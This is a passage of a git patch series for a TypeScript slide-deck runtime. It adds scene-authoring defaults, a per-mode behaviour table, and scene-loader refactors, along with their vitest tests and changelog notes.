Set(ACES_ECOSYSTEM_INTRO_SCENES.map((s) => s.id)); + expect(ids.size).toBe(ACES_ECOSYSTEM_INTRO_SCENES.length); + }); + + it('every scene declares at least one caption', () => { + for (const scene of ACES_ECOSYSTEM_INTRO_SCENES) { + expect(scene.captions.length, `${scene.id} captions`).toBeGreaterThan(0); + } + }); + + it('exports the canonical composition id', () => { + expect(ACES_ECOSYSTEM_INTRO_COMPOSITION_ID).toBe('aces-ecosystem-intro'); + expect(acesEcosystemIntroCompositionEntry.id).toBe(ACES_ECOSYSTEM_INTRO_COMPOSITION_ID); + }); + + it('every composition entry id references a registered scene', () => { + const sceneIds = new Set(ACES_ECOSYSTEM_INTRO_SCENES.map((s) => s.id)); + for (const entry of acesEcosystemIntroComposition) { + const id = typeof entry === 'string' ? entry : entry.id; + expect(sceneIds.has(id), `${id} must be a registered scene`).toBe(true); + } + }); + + it('keeps the non-claim visible in the deck', () => { + const nonClaim = ACES_ECOSYSTEM_INTRO_SCENES.find((scene) => scene.id === 'aces-non-claim'); + expect(nonClaim?.captions.map((c) => c.text).join(' ')).toMatch(/Motivation is not validation/); + }); + + it('does not opt into the cinematic chrome atmosphere', () => { + for (const entry of acesEcosystemIntroComposition) { + if (typeof entry === 'string') continue; + const chrome = (entry.behavior as { chrome?: unknown } | undefined)?.chrome; + expect(chrome).not.toEqual({ atmosphere: 'cinematic' }); + } + }); + + it('briefing register uses only cut and dissolve transitions', () => { + const allowed = new Set(['cut', 'dissolve']); + for (const entry of acesEcosystemIntroComposition) { + if (typeof entry === 'string') continue; + const transition = (entry.behavior as { transition?: { name: string } } | undefined) + ?.transition; + if (transition === undefined) continue; + expect(allowed.has(transition.name), `transition ${transition.name}`).toBe(true); + } + }); +}); diff --git a/tests/system/presenter-bridge.test.ts b/tests/system/presenter-bridge.test.ts index b103b5e..7a2d15a 100644 --- a/tests/system/presenter-bridge.test.ts +++ b/tests/system/presenter-bridge.test.ts @@ -71,11 +71,27 @@ describe('createPresenterBridge', () => { expect(getPresenterSessionId(location)).toBe('generated-session-abcdef'); }); + it('uses getRandomValues when randomUUID is unavailable', async () => { + vi.stubGlobal('crypto', { + getRandomValues: (bytes: Uint8Array) => { + bytes.set([ + 0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, + 0xff, + ]); + return bytes; + }, + }); + const { getPresenterSessionId } = await importFreshBridge(); + expect(getPresenterSessionId({ href: 'http://red-dragon:5174/?composition=demo' })).toBe( + '00112233445566778899aabbccddeeff', + ); + }); + it('reports missing secure random support when no URL scope exists', async () => { vi.stubGlobal('crypto', {}); const { getPresenterSessionId } = await importFreshBridge(); expect(() => getPresenterSessionId({ href: 'https://pulsar.test/?composition=demo' })).toThrow( - 'secure random presenter session id source is unavailable', + 'secure random presenter session id source is unavailable: requires crypto.randomUUID or crypto.getRandomValues', ); }); diff --git a/tests/system/presenter-keyboard.test.ts b/tests/system/presenter-keyboard.test.ts index 3c6510a..712093b 100644 --- a/tests/system/presenter-keyboard.test.ts +++ b/tests/system/presenter-keyboard.test.ts @@ -35,14 +35,14 @@ const fakeKey = (code: string, target: EventTarget | null = null): Event => { }; describe('keyboard presenter source', () => { - it('emits advance on ArrowRight and Space', () => { + it('emits skip-forward on ArrowRight and advance on Space', () => { const target = makeTarget(); const { source, dispose } = createKeyboardPresenterSource({ target }); const cmds: PresenterCommand[] = []; source.subscribe((c) => cmds.push(c)); target.dispatchEvent(fakeKey('ArrowRight')); target.dispatchEvent(fakeKey('Space')); - expect(cmds.map((c) => c.kind)).toEqual(['advance', 'advance']); + expect(cmds.map((c) => c.kind)).toEqual(['skip-forward', 'advance']); dispose(); }); @@ -155,7 +155,7 @@ describe('keyboard presenter source', () => { // GSAP runner → master timeline. Pins that the wired surface actually // moves beat state, not just that the keyboard source emits a command. describe('presenter keyboard → GSAP runner (PUL-F020 end-to-end dispatch)', () => { - it('a real PageDown keydown drives the master timeline to the next scene segment', async () => { + it('a real ArrowRight keydown drives the master timeline to the next scene segment', async () => { const engine = createTimelineEngine(); const sceneTl = (seconds: number): InstanceType => { const tl = engine.gsap.timeline({ paused: true }); @@ -186,7 +186,7 @@ describe('presenter keyboard → GSAP runner (PUL-F020 end-to-end dispatch)', () return captured; })(); // Real DOM keydown → keyboard source → controller → runner → master. - target.dispatchEvent(fakeKey('PageDown')); + target.dispatchEvent(fakeKey('ArrowRight')); expect(master.time()).toBeCloseTo(20, 0); ctrl.abort(); keyboard.dispose(); diff --git a/tests/system/pulsar-intro-deck.test.ts b/tests/system/pulsar-intro-deck.test.ts index b59b087..18a674c 100644 --- a/tests/system/pulsar-intro-deck.test.ts +++ b/tests/system/pulsar-intro-deck.test.ts @@ -1,10 +1,10 @@ // Pulsar L2 — pulsar-intro reference deck shape tests. // -// Asserts the deck exports a non-empty scene array, a registered -// composition entry whose manifest references only registered scenes, -// and uses every shipped transition kind at least once. Catches drift -// between content.ts, composition.ts, and the shipped transition -// registry. +// Asserts the deck exports a non-empty scene array, every scene +// satisfies the SceneModule contract, every composition entry id +// references a registered scene, every scene declares at least one +// caption (so `?mode=prompter` produces a speaker view), and the +// composition uses more than one transition kind. import { describe, expect, it } from 'vitest'; import { @@ -14,7 +14,6 @@ import { pulsarIntroCompositionEntry, } from '../../src/decks/pulsar-intro'; import { assertSceneModule } from '../../src/runtime/scene'; -import { ALL_TRANSITIONS } from '../../src/system/transitions'; describe('pulsar-intro reference deck', () => { it('exports a non-empty scene array', () => { @@ -32,6 +31,12 @@ describe('pulsar-intro reference deck', () => { expect(ids.size).toBe(PULSAR_INTRO_SCENES.length); }); + it('every scene declares at least one caption', () => { + for (const scene of PULSAR_INTRO_SCENES) { + expect(scene.captions.length, `${scene.id} captions`).toBeGreaterThan(0); + } + }); + it('exports the canonical composition id', () => { expect(PULSAR_INTRO_COMPOSITION_ID).toBe('pulsar-intro'); expect(pulsarIntroCompositionEntry.id).toBe(PULSAR_INTRO_COMPOSITION_ID); @@ -45,7 +50,7 @@ describe('pulsar-intro reference deck', () => { } }); - it('every shipped transition kind is used at least once', () => { + it('the composition uses more than one transition kind', () => { const used = new Set(); for (const entry of pulsarIntroComposition) { if (typeof entry === 'string') continue; @@ -53,9 +58,7 @@ describe('pulsar-intro reference deck', () => { ?.transition; if (transition !== undefined) used.add(transition.name); } - for (const t of ALL_TRANSITIONS) { - expect(used.has(t.name), `${t.name} transition must appear in the deck`).toBe(true); - } + expect(used.size, 'composition transition kinds').toBeGreaterThan(1); }); it('first composition entry resolves to a registered scene', () => { diff --git a/vite.config.ts b/vite.config.ts index f3652ab..183c292 100644 --- a/vite.config.ts +++ b/vite.config.ts @@ -6,6 +6,7 @@ export default defineConfig({ // other devices, not just localhost. server: { host: '0.0.0.0', + allowedHosts: ['red-dragon', '.tail18b785.ts.net'], port: 5173, }, preview: { From 78338abaf05447d758741ce3e1f3a2e9f584acb3 Mon Sep 17 00:00:00 2001 From: Brad Edwards Date: Sat, 30 May 2026 08:42:37 +0200 Subject: [PATCH 08/29] Add defineScene authoring normalizer as single source of scene defaulting Authors write { id, title, create, timeline, cleanup }; every other SceneModule field defaults via defineScene, which validates the normalized result against the contract. buildTemplateScene now delegates to it so scene defaults live in exactly one place. --- src/runtime/scene.ts | 53 ++++++++++++++++++++ src/system/templates/_shared.ts | 43 +++++++++------- tests/runtime/scene.test.ts | 89 +++++++++++++++++++++++++++++++++ 3 files changed, 167 insertions(+), 18 deletions(-) diff --git a/src/runtime/scene.ts b/src/runtime/scene.ts index 308a0b4..92adf79 100644 --- a/src/runtime/scene.ts +++ b/src/runtime/scene.ts @@ -317,6 +317,59 @@ export function assertSceneModule(value: unknown): asserts value is SceneModule } } +/** + * Author-facing scene input. Only identity (`id`, `title`) and the two + * lifecycle hooks that actually do work (`create`, `timeline`) are + * required; every other field defaults. {@link defineScene} normalizes + * this into the canonical {@link SceneModule} the runtime consumes, so + * authoring a scene is a plain object literal — not a 13-field ritual. + */ +export interface SceneInput { + id: string; + title: string; + duration?: number | null | undefined; + tags?: readonly string[] | undefined; + assets?: readonly string[] | undefined; + captions?: readonly Caption[] | undefined; + audio?: readonly string[] | undefined; + defaultNext?: string | null | undefined; + standalone?: boolean | undefined; + trailerSafe?: boolean | undefined; + create: SceneLifecycleFn; + timeline: SceneLifecycleFn; + /** Defaults to a no-op. Mandatory cleanup (PUL-P001) is satisfied trivially when a scene mounts nothing of its own. */ + cleanup?: SceneLifecycleFn | undefined; +} + +const NOOP_CLEANUP: SceneLifecycleFn = () => {}; + +/** + * The single source of scene defaulting. Fills the optional metadata + * fields, then asserts the result against the {@link SceneModule} + * contract so a malformed input fails loudly at authoring time rather + * than at mount time. Template factories and decks both route through + * here — there is exactly one place defaults live. + */ +export function defineScene(input: SceneInput): SceneModule { + const scene: SceneModule = { + id: input.id, + title: input.title, + duration: input.duration ?? null, + tags: input.tags ?? [], + assets: input.assets ?? [], + captions: input.captions ?? [], + audio: input.audio ?? [], + defaultNext: input.defaultNext ?? null, + standalone: input.standalone ?? false, + trailerSafe: input.trailerSafe ?? false, + create: input.create, + timeline: input.timeline, + cleanup: input.cleanup ?? NOOP_CLEANUP, + }; + assertSceneModule(scene); + return scene; +} + /** * PUL-F030 / ADR-029: predicate the loader/workbench unlock gate, the * validation pass, and future authoring lints all consult so "this diff --git a/src/system/templates/_shared.ts b/src/system/templates/_shared.ts index 8e69a46..de1d19f 100644 --- a/src/system/templates/_shared.ts +++ b/src/system/templates/_shared.ts @@ -11,7 +11,12 @@ // their own DOM use the scene root returned from `mountTemplateRoot`. import { NAVIGATION_MODES } from '../../runtime/navigation'; -import type { Caption, SceneLifecycleFn, SceneModule } from '../../runtime/scene'; +import { + type Caption, + type SceneLifecycleFn, + type SceneModule, + defineScene, +} from '../../runtime/scene'; import type { WorkbenchSceneCtx } from '../../runtime/scene-loader'; import type { ChromeSlots } from '../chrome'; import { addAdvanceGate } from '../helpers/timing'; @@ -315,21 +320,23 @@ export interface BuildTemplateSceneHost { /** * Build a `SceneModule` from the template-specific lifecycle hooks + - * metadata. Provides sensible defaults so each template factory only - * declares what differs. + * metadata. Routes through {@link defineScene} so scene defaulting and + * validation live in exactly one place; only the template-specific + * defaults (a `template` tag, standalone/trailer-safe by default, and + * the standard root-removing cleanup) are applied here. */ -export const buildTemplateScene = (host: BuildTemplateSceneHost): SceneModule => ({ - id: host.id, - title: host.title, - duration: null, - tags: host.tags ?? ['template'], - assets: host.assets ?? [], - captions: host.captions ?? [], - audio: host.audio ?? [], - defaultNext: host.defaultNext ?? null, - standalone: host.standalone ?? true, - trailerSafe: host.trailerSafe ?? true, - create: host.create, - timeline: host.timeline, - cleanup: host.cleanup ?? cleanupTemplateRoot(host.id), -}); +export const buildTemplateScene = (host: BuildTemplateSceneHost): SceneModule => + defineScene({ + id: host.id, + title: host.title, + tags: host.tags ?? ['template'], + assets: host.assets, + captions: host.captions, + audio: host.audio, + defaultNext: host.defaultNext, + standalone: host.standalone ?? true, + trailerSafe: host.trailerSafe ?? true, + create: host.create, + timeline: host.timeline, + cleanup: host.cleanup ?? cleanupTemplateRoot(host.id), + }); diff --git a/tests/runtime/scene.test.ts b/tests/runtime/scene.test.ts index 3589ec8..092b76c 100644 --- a/tests/runtime/scene.test.ts +++ b/tests/runtime/scene.test.ts @@ -3,6 +3,7 @@ import { type Caption, type SceneModule, assertSceneModule, + defineScene, isSceneModule, sceneDeclaresAudio, } from '../../src/runtime/scene'; @@ -562,3 +563,91 @@ describe('SceneModule contract (PUL-F001)', () => { }); }); }); + +describe('defineScene (authoring normalizer)', () => { + it('requires only id, title, create, and timeline', () => { + const scene = defineScene({ + id: 'minimal', + title: 'Minimal', + create: () => undefined, + timeline: () => undefined, + }); + expect(isSceneModule(scene)).toBe(true); + }); + + it('defaults every optional metadata field', () => { + const scene = defineScene({ + id: 'minimal', + title: 'Minimal', + create: () => undefined, + timeline: () => undefined, + }); + expect(scene.duration).toBeNull(); + expect(scene.tags).toEqual([]); + expect(scene.assets).toEqual([]); + expect(scene.captions).toEqual([]); + expect(scene.audio).toEqual([]); + expect(scene.defaultNext).toBeNull(); + expect(scene.standalone).toBe(false); + expect(scene.trailerSafe).toBe(false); + }); + + it('defaults cleanup to a callable no-op (mandatory cleanup, PUL-P001)', () => { + const scene = defineScene({ + id: 'minimal', + title: 'Minimal', + create: () => undefined, + timeline: () => undefined, + }); + expect(typeof scene.cleanup).toBe('function'); + expect(() => scene.cleanup(undefined)).not.toThrow(); + }); + + it('preserves supplied values over defaults', () => { + const captions: Caption[] = [{ at: 0, text: 'hook' }]; + const scene = defineScene({ + id: 'rich', + title: 'Rich', + duration: 4200, + tags: ['act-i'], + assets: ['assets/a.mp3'], + audio: ['assets/a.mp3'], + captions, + defaultNext: 'next-scene', + standalone: true, + trailerSafe: true, + create: () => undefined, + timeline: () => undefined, + }); + expect(scene.duration).toBe(4200); + expect(scene.tags).toEqual(['act-i']); + expect(scene.audio).toEqual(['assets/a.mp3']); + expect(scene.captions).toEqual(captions); + expect(scene.defaultNext).toBe('next-scene'); + expect(scene.standalone).toBe(true); + expect(scene.trailerSafe).toBe(true); + }); + + it('validates the normalized result and throws on a malformed field', () => { + expect(() => + defineScene({ + id: 'Bad Id', + title: 'Bad', + create: () => undefined, + timeline: () => undefined, + }), + ).toThrow(/scene "Bad Id" is invalid: id/); + }); + + it('enforces the audio-subset-of-assets cross-field invariant (PUL-F030)', () => { + expect(() => + defineScene({ + id: 'audio-leak', + title: 'Audio Leak', + audio: ['assets/undeclared.mp3'], + create: () => undefined, + timeline: () => undefined, + }), + ).toThrow(/audio\[0\].*must be a member of scene\.assets/); + }); +}); From 4d5d2d35e45841f76a1bc4cb0e3840c5998f1337 Mon Sep 17 00:00:00 2001 From: Brad Edwards Date: Sat, 30 May 2026 08:48:16 +0200 Subject: [PATCH 09/29] Centralize per-mode behavior into a ModeProfile data table Mode becomes data, not control flow: audio policy, slice truncation, chrome visibility, bed suppression, the scrub cue gate, and head-scene runner hints were scattered as mode === X branches across scene-loader and workbench-chrome; they now read one frozen profile per mode. Behavior is unchanged, pinned by a snapshot-equivalence test against the prior scattered logic for all eight modes. Collapsing the four runner-hint ternaries into a single ...runnerHints spread dropped runLifecycle below the cognitive-complexity gate; its suppression and backlog row are removed. --- changelog.d/+mode-profile-table.changed.md | 10 ++ docs/design/complexity-backlog.md | 8 +- src/runtime/mode-profile.ts | 127 +++++++++++++++++++++ src/runtime/scene-loader.ts | 90 ++++----------- src/runtime/workbench-chrome.ts | 14 +-- tests/runtime/mode-profile.test.ts | 70 ++++++++++++ 6 files changed, 238 insertions(+), 81 deletions(-) create mode 100644 changelog.d/+mode-profile-table.changed.md create mode 100644 src/runtime/mode-profile.ts create mode 100644 tests/runtime/mode-profile.test.ts diff --git a/changelog.d/+mode-profile-table.changed.md b/changelog.d/+mode-profile-table.changed.md new file mode 100644 index 0000000..21bdf26 --- /dev/null +++ b/changelog.d/+mode-profile-table.changed.md @@ -0,0 +1,10 @@ +Centralized per-mode workbench behavior into a single `ModeProfile` +data table (`src/runtime/mode-profile.ts`). The audio output policy, +composition-slice truncation, chrome visibility, audio-bed suppression, +scrub cue gate, and head-scene runner hints were previously scattered +as `mode === X` branches across `scene-loader.ts` and +`workbench-chrome.ts`; they now read one frozen profile per mode. +Behavior is unchanged (snapshot-equivalence test), and collapsing the +four runner-hint ternaries into a single `...runnerHints` spread dropped +`runLifecycle` below the cognitive-complexity gate, closing a +complexity-backlog entry. diff --git a/docs/design/complexity-backlog.md b/docs/design/complexity-backlog.md index a175b60..c12635e 100644 --- a/docs/design/complexity-backlog.md +++ b/docs/design/complexity-backlog.md @@ -54,9 +54,15 @@ function per site. | [`src/runtime/audio.ts`](../../src/runtime/audio.ts) | `normalizeSources` arrow | 17 | | [`src/runtime/audio.ts`](../../src/runtime/audio.ts) | `play(soundId, options)` method | 24 | | [`src/runtime/scene-loader.ts`](../../src/runtime/scene-loader.ts) | `buildLoad` arrow | 18 | -| [`src/runtime/scene-loader.ts`](../../src/runtime/scene-loader.ts) | `runLifecycle` arrow | 21 | | [`src/runtime/scene-loader.ts`](../../src/runtime/scene-loader.ts) | `runTarget` async arrow | 23 | +`runLifecycle` (formerly score 21) was removed from this list when the +per-mode runner hints (`repeat` / `hold` / `cueGate` / `screenshot`) +collapsed from four `mode === X` ternaries into a single +`...runnerHints` spread sourced from +[`src/runtime/mode-profile.ts`](../../src/runtime/mode-profile.ts). Its +site-level suppression was deleted with it. + ### Test fixtures and helpers These three test offenders are isolated functions, not part of the diff --git a/src/runtime/mode-profile.ts b/src/runtime/mode-profile.ts new file mode 100644 index 0000000..7d7ed92 --- /dev/null +++ b/src/runtime/mode-profile.ts @@ -0,0 +1,127 @@ +// Workbench mode profiles — the single data source for per-mode behavior. +// +// Each of the eight workbench modes (ADR-007 / ADR-016..022) decides a +// small, fixed set of runtime behaviors: the audio output policy, whether +// the composition slice truncates to its addressed head, chrome +// visibility, whether the composition audio bed is suppressed, whether the +// loader builds the shared scrub cue gate, and the head-scene runner-input +// hints the resolver receives. +// +// Before this table those decisions were scattered as `mode === X` +// branches across `scene-loader.ts` (audio policy, runner hints, slice +// truncation, bed suppression, cue gate) and `workbench-chrome.ts` (chrome +// visibility). Mode is data, not control flow: the loader and chrome +// surface read a profile instead of re-deriving each behavior. Adding a +// mode means adding one row here — the consumers do not change. + +import type { AudioOutputPolicy } from './audio'; +import type { NavigationMode } from './navigation'; + +/** + * Head-scene runner-input hints. The resolver scopes each hint to the + * addressed head scene only; following composition entries never see them + * because the slice is truncated upstream (single-scene modes) or the + * head's timeline never naturally completes (loop/paused). At most one + * field is set, because the modes that set them are mutually exclusive at + * the URL boundary. + */ +export interface RunnerHints { + /** PUL-F015 / ADR-018: restart the head scene's timeline on completion. */ + readonly repeat?: 'until-aborted'; + /** PUL-F016 / ADR-019: hold the head scene's timeline at the first frame. */ + readonly hold?: 'first-frame'; + /** PUL-F017 / ADR-020: gate audio cues to monotonic forward playback. */ + readonly cueGate?: 'monotonic-forward'; + /** PUL-F018 / ADR-021: render the addressed beat, hold still, suppress audio, seed RNG. */ + readonly screenshot?: 'capture'; +} + +/** The fixed behavior a workbench mode selects. */ +export interface ModeProfile { + /** Audio output policy for the per-navigation audio service (ADR-004). */ + readonly audioPolicy: AudioOutputPolicy; + /** Whether the validated composition slice truncates to its addressed head. */ + readonly singleScene: boolean; + /** Chrome surface visibility absent a composition `behavior.chrome` override (ADR-031). */ + readonly chromeVisibility: 'visible' | 'hidden'; + /** Whether the composition audio bed is suppressed — the scene runs as if standalone (PUL-F014). */ + readonly suppressBed: boolean; + /** Whether the loader builds the shared scrub cue gate for this mode (PUL-F017). */ + readonly buildScrubCueGate: boolean; + /** Head-scene runner-input hints threaded to the resolver (empty for most modes). */ + readonly runnerHints: RunnerHints; +} + +const profile = (p: ModeProfile): ModeProfile => Object.freeze(p); + +const MODE_PROFILES: Readonly> = Object.freeze({ + present: profile({ + audioPolicy: 'audible', + singleScene: false, + chromeVisibility: 'visible', + suppressBed: false, + buildScrubCueGate: false, + runnerHints: Object.freeze({}), + }), + standalone: profile({ + audioPolicy: 'audible', + singleScene: true, + chromeVisibility: 'hidden', + suppressBed: true, + buildScrubCueGate: false, + runnerHints: Object.freeze({}), + }), + loop: profile({ + audioPolicy: 'audible', + singleScene: true, + chromeVisibility: 'visible', + suppressBed: false, + buildScrubCueGate: false, + runnerHints: Object.freeze({ repeat: 'until-aborted' }), + }), + paused: profile({ + audioPolicy: 'silent', + singleScene: true, + chromeVisibility: 'visible', + suppressBed: false, + buildScrubCueGate: false, + runnerHints: Object.freeze({ hold: 'first-frame' }), + }), + scrub: profile({ + audioPolicy: 'audible', + singleScene: true, + chromeVisibility: 'visible', + suppressBed: false, + buildScrubCueGate: true, + runnerHints: Object.freeze({ cueGate: 'monotonic-forward' }), + }), + screenshot: profile({ + audioPolicy: 'silent', + singleScene: true, + chromeVisibility: 'hidden', + suppressBed: false, + buildScrubCueGate: false, + runnerHints: Object.freeze({ screenshot: 'capture' }), + }), + prompter: profile({ + audioPolicy: 'audible', + singleScene: false, + chromeVisibility: 'visible', + suppressBed: false, + buildScrubCueGate: false, + runnerHints: Object.freeze({}), + }), + rehearsal: profile({ + audioPolicy: 'log-cues', + singleScene: false, + chromeVisibility: 'visible', + suppressBed: false, + buildScrubCueGate: false, + runnerHints: Object.freeze({}), + }), +}); + +/** The frozen profile for a workbench mode. */ +export function profileFor(mode: NavigationMode): ModeProfile { + return MODE_PROFILES[mode]; +} diff --git a/src/runtime/scene-loader.ts b/src/runtime/scene-loader.ts index 3c0db08..81f68db 100644 --- a/src/runtime/scene-loader.ts +++ b/src/runtime/scene-loader.ts @@ -49,6 +49,7 @@ import type { } from './composition-resolver'; import { describeErrorDetailed, formatSceneContext } from './error'; import { KEBAB_IDENTIFIER_FORM, isKebabIdentifier } from './identifier'; +import { profileFor } from './mode-profile'; import { NAVIGATION_MODES, type NavigationLocator, @@ -658,9 +659,7 @@ function countSceneOccurrences(target: SceneNavigationTarget): Map => loadSceneNavigationTarget(resolved, { ctx: buildSceneCtx, @@ -1473,13 +1435,12 @@ export function createSceneLoader(options: SceneLoaderOptions): SceneLoader { signal: controller.signal, ...(beat === undefined ? {} : { beat }), ...(onBeatMissing === undefined ? {} : { onBeatMissing }), - ...(repeat === undefined ? {} : { repeat }), - ...(hold === undefined ? {} : { hold }), - ...(cueGate === undefined ? {} : { cueGate }), + // Head-scene runner hints (repeat / hold / cueGate / screenshot) + // from the mode profile; an empty object for modes that set none. + ...runnerHints, // PUL-F017 / ADR-020: the same gate handed to the audio service // above — the timeline adapter toggles it by playhead direction. ...(audioCueGate === undefined ? {} : { audioCueGate }), - ...(screenshot === undefined ? {} : { screenshot }), // Forward `presenter` AND the `onError` sink so the // resolver's per-scene wrapper around `presenter` can // route runner-handler exceptions / unknown-kind drops @@ -1606,14 +1567,7 @@ export function createSceneLoader(options: SceneLoaderOptions): SceneLoader { target: NavigationTarget, ): SceneNavigationTarget => { const mode = effectiveMode(target); - if ( - (mode !== 'standalone' && - mode !== 'loop' && - mode !== 'paused' && - mode !== 'scrub' && - mode !== 'screenshot') || - resolved.composition === undefined - ) { + if (!profileFor(mode).singleScene || resolved.composition === undefined) { return resolved; } const headEntry = resolved.composition.manifestSlice[0]; diff --git a/src/runtime/workbench-chrome.ts b/src/runtime/workbench-chrome.ts index a2e32e5..f3699c4 100644 --- a/src/runtime/workbench-chrome.ts +++ b/src/runtime/workbench-chrome.ts @@ -26,6 +26,7 @@ // removal — testable against fakes while production `main.ts` supplies // real `document.createElement` and the live mount point. +import { profileFor } from './mode-profile'; import { NAVIGATION_MODES, type NavigationMode } from './navigation'; /** @@ -131,18 +132,7 @@ export interface WorkbenchChromeController { * the resolver. */ export function chromeVisibilityFor(mode: NavigationMode): 'visible' | 'hidden' { - switch (mode) { - case 'standalone': - case 'screenshot': - return 'hidden'; - case 'present': - case 'loop': - case 'paused': - case 'scrub': - case 'prompter': - case 'rehearsal': - return 'visible'; - } + return profileFor(mode).chromeVisibility; } const VISIBILITY_ATTR = 'data-pulsar-chrome-visibility'; diff --git a/tests/runtime/mode-profile.test.ts b/tests/runtime/mode-profile.test.ts new file mode 100644 index 0000000..26ab029 --- /dev/null +++ b/tests/runtime/mode-profile.test.ts @@ -0,0 +1,70 @@ +import { describe, expect, it } from 'vitest'; +import { type ModeProfile, profileFor } from '../../src/runtime/mode-profile'; +import { NAVIGATION_MODES, type NavigationMode } from '../../src/runtime/navigation'; + +// Snapshot-equivalence guard for the ModeProfile data table. +// +// Before the table, the per-mode behaviors lived as scattered +// `mode === X` branches in scene-loader.ts and workbench-chrome.ts. +// These reference implementations reproduce that prior logic verbatim; +// the table MUST agree with them for every mode, so this test is the +// proof the centralization changed no behavior. + +const expectedAudioPolicy = (mode: NavigationMode): ModeProfile['audioPolicy'] => { + if (mode === 'rehearsal') return 'log-cues'; + if (mode === 'screenshot' || mode === 'paused') return 'silent'; + return 'audible'; +}; + +const expectedChromeVisibility = (mode: NavigationMode): ModeProfile['chromeVisibility'] => + mode === 'standalone' || mode === 'screenshot' ? 'hidden' : 'visible'; + +const expectedSingleScene = (mode: NavigationMode): boolean => + mode === 'standalone' || + mode === 'loop' || + mode === 'paused' || + mode === 'scrub' || + mode === 'screenshot'; + +const expectedSuppressBed = (mode: NavigationMode): boolean => mode === 'standalone'; + +const expectedBuildScrubCueGate = (mode: NavigationMode): boolean => mode === 'scrub'; + +const expectedRunnerHints = (mode: NavigationMode): ModeProfile['runnerHints'] => { + if (mode === 'loop') return { repeat: 'until-aborted' }; + if (mode === 'paused') return { hold: 'first-frame' }; + if (mode === 'scrub') return { cueGate: 'monotonic-forward' }; + if (mode === 'screenshot') return { screenshot: 'capture' }; + return {}; +}; + +describe('mode profile table', () => { + it('defines a profile for every navigation mode', () => { + for (const mode of NAVIGATION_MODES) { + expect(profileFor(mode), `missing profile for "${mode}"`).toBeDefined(); + } + }); + + it.each(NAVIGATION_MODES)('profile for "%s" matches the prior scattered logic', (mode) => { + const p = profileFor(mode); + expect(p.audioPolicy).toBe(expectedAudioPolicy(mode)); + expect(p.chromeVisibility).toBe(expectedChromeVisibility(mode)); + expect(p.singleScene).toBe(expectedSingleScene(mode)); + expect(p.suppressBed).toBe(expectedSuppressBed(mode)); + expect(p.buildScrubCueGate).toBe(expectedBuildScrubCueGate(mode)); + expect(p.runnerHints).toEqual(expectedRunnerHints(mode)); + }); + + it('at most one runner hint is set per mode (modes are mutually exclusive at the URL boundary)', () => { + for (const mode of NAVIGATION_MODES) { + const set = Object.values(profileFor(mode).runnerHints).filter((v) => v !== undefined); + expect(set.length, `"${mode}" sets more than one runner hint`).toBeLessThanOrEqual(1); + } + }); + + it('freezes profiles so a consumer cannot mutate the shared table', () => { + const p = profileFor('loop'); + expect(Object.isFrozen(p)).toBe(true); + expect(Object.isFrozen(p.runnerHints)).toBe(true); + }); +}); From d22bbb7dcaa9094f07ffb47bf6c5c067c39c191f Mon Sep 17 00:00:00 2001 From: Brad Edwards Date: Sat, 30 May 2026 09:15:36 +0200 Subject: [PATCH 10/29] refactor(scene-loader): decompose buildLoad/runTarget below the complexity gate Split the scene-loader god-functions into cohesive single-responsibility units so both drop under the cognitive-complexity gate and their biome-ignore suppressions are deleted: - src/runtime/scene-loader-ctx.ts: per-navigation audio service, presenter pipe (PUL-F025 master-mute handler), deterministic RNG seed, and the per-occurrence ctx factory (the old buildLoad try/catch body). - src/runtime/scene-loader-guard.ts: the present-mode audio unlock-gate predicate (PUL-F030) and the composition chrome dispatch policy (PUL-F031), as the navigation trust seams. - src/runtime/navigation.ts: a single NAVIGATION_GRAMMAR rule source for the beat/mode grammar, consumed by parseNavigationSearch AND the loader's defense-in-depth validateBeatGrammar/validateModeGrammar re-check (now exported from navigation). The duplicated rule strings are eliminated; the forged-target trust seam is retained. runTarget now delegates to dispatchLifecycleLoad + awaitLoad and folds its two grammar checks into one. buildLoad delegates services construction and run-input assembly, keeping the abort/queue/cleanup- exactly-once lifecycle and stage-attr ordering intact. createSceneLoader, all exported types, the data-pulsar-* attributes, and runtime behavior are unchanged. Both noExcessiveCognitiveComplexity suppressions and their complexity-backlog rows are removed. --- .../+scene-loader-decomposition.changed.md | 12 + docs/design/complexity-backlog.md | 13 +- src/runtime/navigation.ts | 114 ++- src/runtime/scene-loader-ctx.ts | 296 ++++++ src/runtime/scene-loader-guard.ts | 134 +++ src/runtime/scene-loader.ts | 962 +++++------------- .../policy-biome-complexity-gate.test.ts | 1 - 7 files changed, 784 insertions(+), 748 deletions(-) create mode 100644 changelog.d/+scene-loader-decomposition.changed.md create mode 100644 src/runtime/scene-loader-ctx.ts create mode 100644 src/runtime/scene-loader-guard.ts diff --git a/changelog.d/+scene-loader-decomposition.changed.md b/changelog.d/+scene-loader-decomposition.changed.md new file mode 100644 index 0000000..0d227d5 --- /dev/null +++ b/changelog.d/+scene-loader-decomposition.changed.md @@ -0,0 +1,12 @@ +Decomposed the scene-loader god-functions (`buildLoad`, `runTarget`) +into cohesive single-responsibility units below the cognitive-complexity +gate, deleting both `noExcessiveCognitiveComplexity` suppressions. +Per-navigation audio service / presenter pipe / ctx factory moved to +`src/runtime/scene-loader-ctx.ts`; the present-mode audio unlock-gate +predicate and the composition chrome dispatch policy to +`src/runtime/scene-loader-guard.ts`. The `beat` / `mode` grammar rules +are now sourced from a single `NAVIGATION_GRAMMAR` object in +`src/runtime/navigation.ts`, consumed by both `parseNavigationSearch` +and the loader's defense-in-depth re-check (the forged-target trust +seam is retained). `createSceneLoader`, all exported types, the +`data-pulsar-*` stage attributes, and runtime behavior are unchanged. diff --git a/docs/design/complexity-backlog.md b/docs/design/complexity-backlog.md index c12635e..da402a8 100644 --- a/docs/design/complexity-backlog.md +++ b/docs/design/complexity-backlog.md @@ -53,8 +53,6 @@ function per site. | [`src/runtime/audio.ts`](../../src/runtime/audio.ts) | `async unlock()` method on the AudioUnlocker | 22 | | [`src/runtime/audio.ts`](../../src/runtime/audio.ts) | `normalizeSources` arrow | 17 | | [`src/runtime/audio.ts`](../../src/runtime/audio.ts) | `play(soundId, options)` method | 24 | -| [`src/runtime/scene-loader.ts`](../../src/runtime/scene-loader.ts) | `buildLoad` arrow | 18 | -| [`src/runtime/scene-loader.ts`](../../src/runtime/scene-loader.ts) | `runTarget` async arrow | 23 | `runLifecycle` (formerly score 21) was removed from this list when the per-mode runner hints (`repeat` / `hold` / `cueGate` / `screenshot`) @@ -63,6 +61,17 @@ collapsed from four `mode === X` ternaries into a single 